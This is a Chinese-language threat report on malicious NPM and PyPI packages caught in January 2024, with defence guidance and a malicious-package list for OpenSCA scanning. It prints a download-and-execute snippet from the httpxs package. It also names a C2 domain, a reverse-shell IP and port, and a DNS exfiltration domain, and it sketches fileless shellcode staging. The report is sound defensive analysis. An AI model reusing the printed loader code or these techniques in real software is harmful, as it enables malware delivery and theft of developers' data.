供应链投毒预警 | 开源供应链投毒 202401 最新月报来啦!
字数 2703 2025-08-22 12:22:36

开源供应链投毒攻击分析与防御指南

1. 供应链投毒概述

开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的软件包,利用开发者对这些仓库的信任,在开发者安装或使用这些软件包时执行恶意行为。

1.1 2024年1月投毒统计数据

  • 捕获总数:675个不同版本的恶意投毒包
  • NPM仓库占比:90.48%
  • PyPI仓库占比:9.52%
  • 主要攻击目标:开发者系统的敏感数据(占比83%)

2. 主流投毒攻击方式

2.1 攻击方式分类及占比

  1. 恶意文件执行(77%)
  2. 代码混淆执行
  3. 恶意文件下载
  4. shell命令执行
  5. 恶意文件释放
  6. 恶意代码内存执行

2.2 攻击方式详解

2.2.1 恶意文件执行

  • 原理:利用包管理器安装过程中执行自定义恶意指令
  • 执行文件类型:py、pyc、js、shell、pe、dll、elf、so等
  • 典型案例
    • httpxs包:克隆合法httpx项目并植入恶意代码
    • update-requests包:通过拼写错误诱骗开发者安装

2.2.2 恶意文件下载执行

  • 流程

    1. 投毒包中的恶意代码执行
    2. 从远程服务器下载下一阶段恶意程序
    3. 在受害者系统上执行
  • 示例代码(httpxs包):

import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def download():
    response = requests.get("https://cdn.discordapp.com/attachments/.../run_for_money.exe?...")
    with open(path, 'wb') as file:
        file.write(response.content)
    subprocess.run(path, shell=True)

2.2.3 恶意文件释放执行

  • 实现方式

    • 捆绑恶意程序到投毒包中
    • 将恶意代码编码后内嵌到代码文件中
  • 典型案例(edgecompatible包):

    • 捆绑伪装成msedge浏览器组件的木马
    • 通过index.js执行bin/autorun.bat
    • 利用UAC提示欺骗受害者提升权限

2.2.4 恶意代码内存执行

  • 特点

    • 无文件落盘
    • 动态分配RWX内存执行shellcode
    • 高隐蔽性
  • 典型案例(httprequesthub包):

    • 多阶段攻击:
      1. 从远程服务器下载加密代码
      2. 解密后执行第二阶段代码
      3. 通过eval执行第三阶段代码
      4. 分配RWX内存执行shellcode
    • 最终连接C2服务器:3478.qt-api-worker-threads.workers.dev

2.2.5 反向shell后门

  • 目标:Linux系统开发环境
  • 实现:通过shell命令反弹控制
  • 典型案例(tensrflwo包):
    • 仿冒tensorflow框架
    • 通过setup.py中的恶意函数反弹shell到59.110.111.85:8088

2.2.6 DNS查询外传信息

  • 特点:隐蔽窃取信息
  • 流程
    1. 收集敏感数据
    2. 分块编码
    3. 通过DNS查询外传
  • 典型案例(identity-auth包):
    • 收集主机名、工作目录、用户名、外网IP
    • 16进制编码后分块
    • 通过nslookup发送到m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com

2.2.7 恶意代码混淆

  • 目的:躲避静态分析
  • 典型案例(noblox.js-proxy-server包):
    • 通过postinstall执行混淆代码
    • 下载并执行恶意bat文件
    • bat文件下载最终payload:WindowsApi.exe

3. 攻击动机分析

  1. 窃取敏感信息(83%)

    • 密码文件
    • 用户信息
    • 网络配置
    • 系统版本
    • DNS服务器IP
    • 外网IP
    • 浏览器cookie
  2. 远控木马

  3. 反向shell后门

4. 典型投毒案例分析

4.1 httpxs投毒包

  • 目标:仿冒httpx HTTP客户端
  • 攻击方式
    1. 克隆合法项目
    2. __init__.py植入恶意代码
    3. 下载执行run_for_money.exe(VT检测为木马)

4.2 edgecompatible投毒包

  • 目标:Windows系统npm开发者
  • 攻击流程
    1. 执行bin/autorun.bat
    2. 检查管理员权限
    3. 通过UAC提示欺骗执行cookie_export.exe
    4. 加载恶意msedge.dll
    5. 解密执行msedge.dat中的payload

4.3 httprequesthub投毒包

  • 特点:多阶段无文件攻击
  • 技术
    • 内存分配与执行
    • 多层加密混淆
    • 16轮shellcode解码

4.4 tensrflwo投毒包

  • 仿冒对象:tensorflow框架
  • 技术:通过setup.py执行反向shell

5. 防御与检测方案

5.1 排查工具

使用OpenSCA-cli进行扫描:

  1. 创建db.json文件(包含已知恶意包信息)
  2. 执行命令:opensca-cli -db db.json -path ${project_path}

示例db.json

[
  {
    "product": "httpxs",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-4856A664",
    "description": "Python恶意投毒包 httpxs"
  },
  {
    "product": "edgecompatible",
    "version": "[2.3.4,2.3.4]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-921FB751",
    "description": "NPM恶意投毒包 edgecompatible"
  }
]

5.2 防御建议

  1. 依赖源管理

    • 使用可信镜像源
    • 定期更新依赖白名单
  2. 安装前检查

    • 验证包名拼写
    • 检查包下载量、维护者信息
    • 查看源代码变更记录
  3. 运行时防护

    • 限制包管理器的网络访问
    • 监控异常进程行为
    • 使用沙箱环境测试新依赖
  4. 开发环境加固

    • 最小权限原则
    • 定期审计依赖项
    • 启用安全防护软件

6. 总结与趋势

  1. NPM是主要攻击目标
  2. 攻击手法多样化
    • 从简单文件执行到复杂内存攻击
    • 增加混淆和对抗技术
  3. 检测挑战增大
    • 无文件攻击增多
    • 多阶段攻击流程复杂化
  4. 防御重点
    • 供应链安全监控
    • 行为检测而非单纯特征匹配
    • 开发流程安全集成

附录:已知恶意包列表

包名 仓库 版本 语言 威胁ID
httpxs PyPI 0.0.1 Python XMIRROR-MAL45-4856A664
update-requests PyPI 0.0.1 Python XMIRROR-MAL45-CA5ED059
edgecompatible NPM 2.3.4 JavaScript XMIRROR-MAL45-921FB751
httprequesthub PyPI 2.31.x Python XMIRROR-MAL45-5915236F
tensrflwo PyPI 2.5.1-2.9 Python XMIRROR-MAL45-777DD586
identity-auth NPM 7.999.0-10.999.0 JavaScript XMIRROR-MALF5-F9282613
noblox.js-proxy-server NPM 4.15.1-4.15.4 JavaScript XMIRROR-MAL45-52114A88
开源供应链投毒攻击分析与防御指南 1. 供应链投毒概述 开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的软件包,利用开发者对这些仓库的信任,在开发者安装或使用这些软件包时执行恶意行为。 1.1 2024年1月投毒统计数据 捕获总数 :675个不同版本的恶意投毒包 NPM仓库占比 :90.48% PyPI仓库占比 :9.52% 主要攻击目标 :开发者系统的敏感数据(占比83%) 2. 主流投毒攻击方式 2.1 攻击方式分类及占比 恶意文件执行 (77%) 代码混淆执行 恶意文件下载 shell命令执行 恶意文件释放 恶意代码内存执行 2.2 攻击方式详解 2.2.1 恶意文件执行 原理 :利用包管理器安装过程中执行自定义恶意指令 执行文件类型 :py、pyc、js、shell、pe、dll、elf、so等 典型案例 : httpxs 包:克隆合法httpx项目并植入恶意代码 update-requests 包:通过拼写错误诱骗开发者安装 2.2.2 恶意文件下载执行 流程 : 投毒包中的恶意代码执行 从远程服务器下载下一阶段恶意程序 在受害者系统上执行 示例代码 (httpxs包): 2.2.3 恶意文件释放执行 实现方式 : 捆绑恶意程序到投毒包中 将恶意代码编码后内嵌到代码文件中 典型案例 (edgecompatible包): 捆绑伪装成msedge浏览器组件的木马 通过 index.js 执行 bin/autorun.bat 利用UAC提示欺骗受害者提升权限 2.2.4 恶意代码内存执行 特点 : 无文件落盘 动态分配RWX内存执行shellcode 高隐蔽性 典型案例 (httprequesthub包): 多阶段攻击: 从远程服务器下载加密代码 解密后执行第二阶段代码 通过eval执行第三阶段代码 分配RWX内存执行shellcode 最终连接C2服务器:3478.qt-api-worker-threads.workers.dev 2.2.5 反向shell后门 目标 :Linux系统开发环境 实现 :通过shell命令反弹控制 典型案例 (tensrflwo包): 仿冒tensorflow框架 通过setup.py中的恶意函数反弹shell到59.110.111.85:8088 2.2.6 DNS查询外传信息 特点 :隐蔽窃取信息 流程 : 收集敏感数据 分块编码 通过DNS查询外传 典型案例 (identity-auth包): 收集主机名、工作目录、用户名、外网IP 16进制编码后分块 通过nslookup发送到m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com 2.2.7 恶意代码混淆 目的 :躲避静态分析 典型案例 (noblox.js-proxy-server包): 通过postinstall执行混淆代码 下载并执行恶意bat文件 bat文件下载最终payload:WindowsApi.exe 3. 攻击动机分析 窃取敏感信息 (83%) 密码文件 用户信息 网络配置 系统版本 DNS服务器IP 外网IP 浏览器cookie 远控木马 反向shell后门 4. 典型投毒案例分析 4.1 httpxs投毒包 目标 :仿冒httpx HTTP客户端 攻击方式 : 克隆合法项目 在 __init__.py 植入恶意代码 下载执行run_ for_ money.exe(VT检测为木马) 4.2 edgecompatible投毒包 目标 :Windows系统npm开发者 攻击流程 : 执行 bin/autorun.bat 检查管理员权限 通过UAC提示欺骗执行cookie_ export.exe 加载恶意msedge.dll 解密执行msedge.dat中的payload 4.3 httprequesthub投毒包 特点 :多阶段无文件攻击 技术 : 内存分配与执行 多层加密混淆 16轮shellcode解码 4.4 tensrflwo投毒包 仿冒对象 :tensorflow框架 技术 :通过setup.py执行反向shell 5. 防御与检测方案 5.1 排查工具 使用OpenSCA-cli进行扫描: 创建db.json文件(包含已知恶意包信息) 执行命令: opensca-cli -db db.json -path ${project_path} 示例db.json : 5.2 防御建议 依赖源管理 使用可信镜像源 定期更新依赖白名单 安装前检查 验证包名拼写 检查包下载量、维护者信息 查看源代码变更记录 运行时防护 限制包管理器的网络访问 监控异常进程行为 使用沙箱环境测试新依赖 开发环境加固 最小权限原则 定期审计依赖项 启用安全防护软件 6. 总结与趋势 NPM是主要攻击目标 攻击手法多样化 : 从简单文件执行到复杂内存攻击 增加混淆和对抗技术 检测挑战增大 : 无文件攻击增多 多阶段攻击流程复杂化 防御重点 : 供应链安全监控 行为检测而非单纯特征匹配 开发流程安全集成 附录:已知恶意包列表 | 包名 | 仓库 | 版本 | 语言 | 威胁ID | |------|------|------|------|--------| | httpxs | PyPI | 0.0.1 | Python | XMIRROR-MAL45-4856A664 | | update-requests | PyPI | 0.0.1 | Python | XMIRROR-MAL45-CA5ED059 | | edgecompatible | NPM | 2.3.4 | JavaScript | XMIRROR-MAL45-921FB751 | | httprequesthub | PyPI | 2.31.x | Python | XMIRROR-MAL45-5915236F | | tensrflwo | PyPI | 2.5.1-2.9 | Python | XMIRROR-MAL45-777DD586 | | identity-auth | NPM | 7.999.0-10.999.0 | JavaScript | XMIRROR-MALF5-F9282613 | | noblox.js-proxy-server | NPM | 4.15.1-4.15.4 | JavaScript | XMIRROR-MAL45-52114A88 |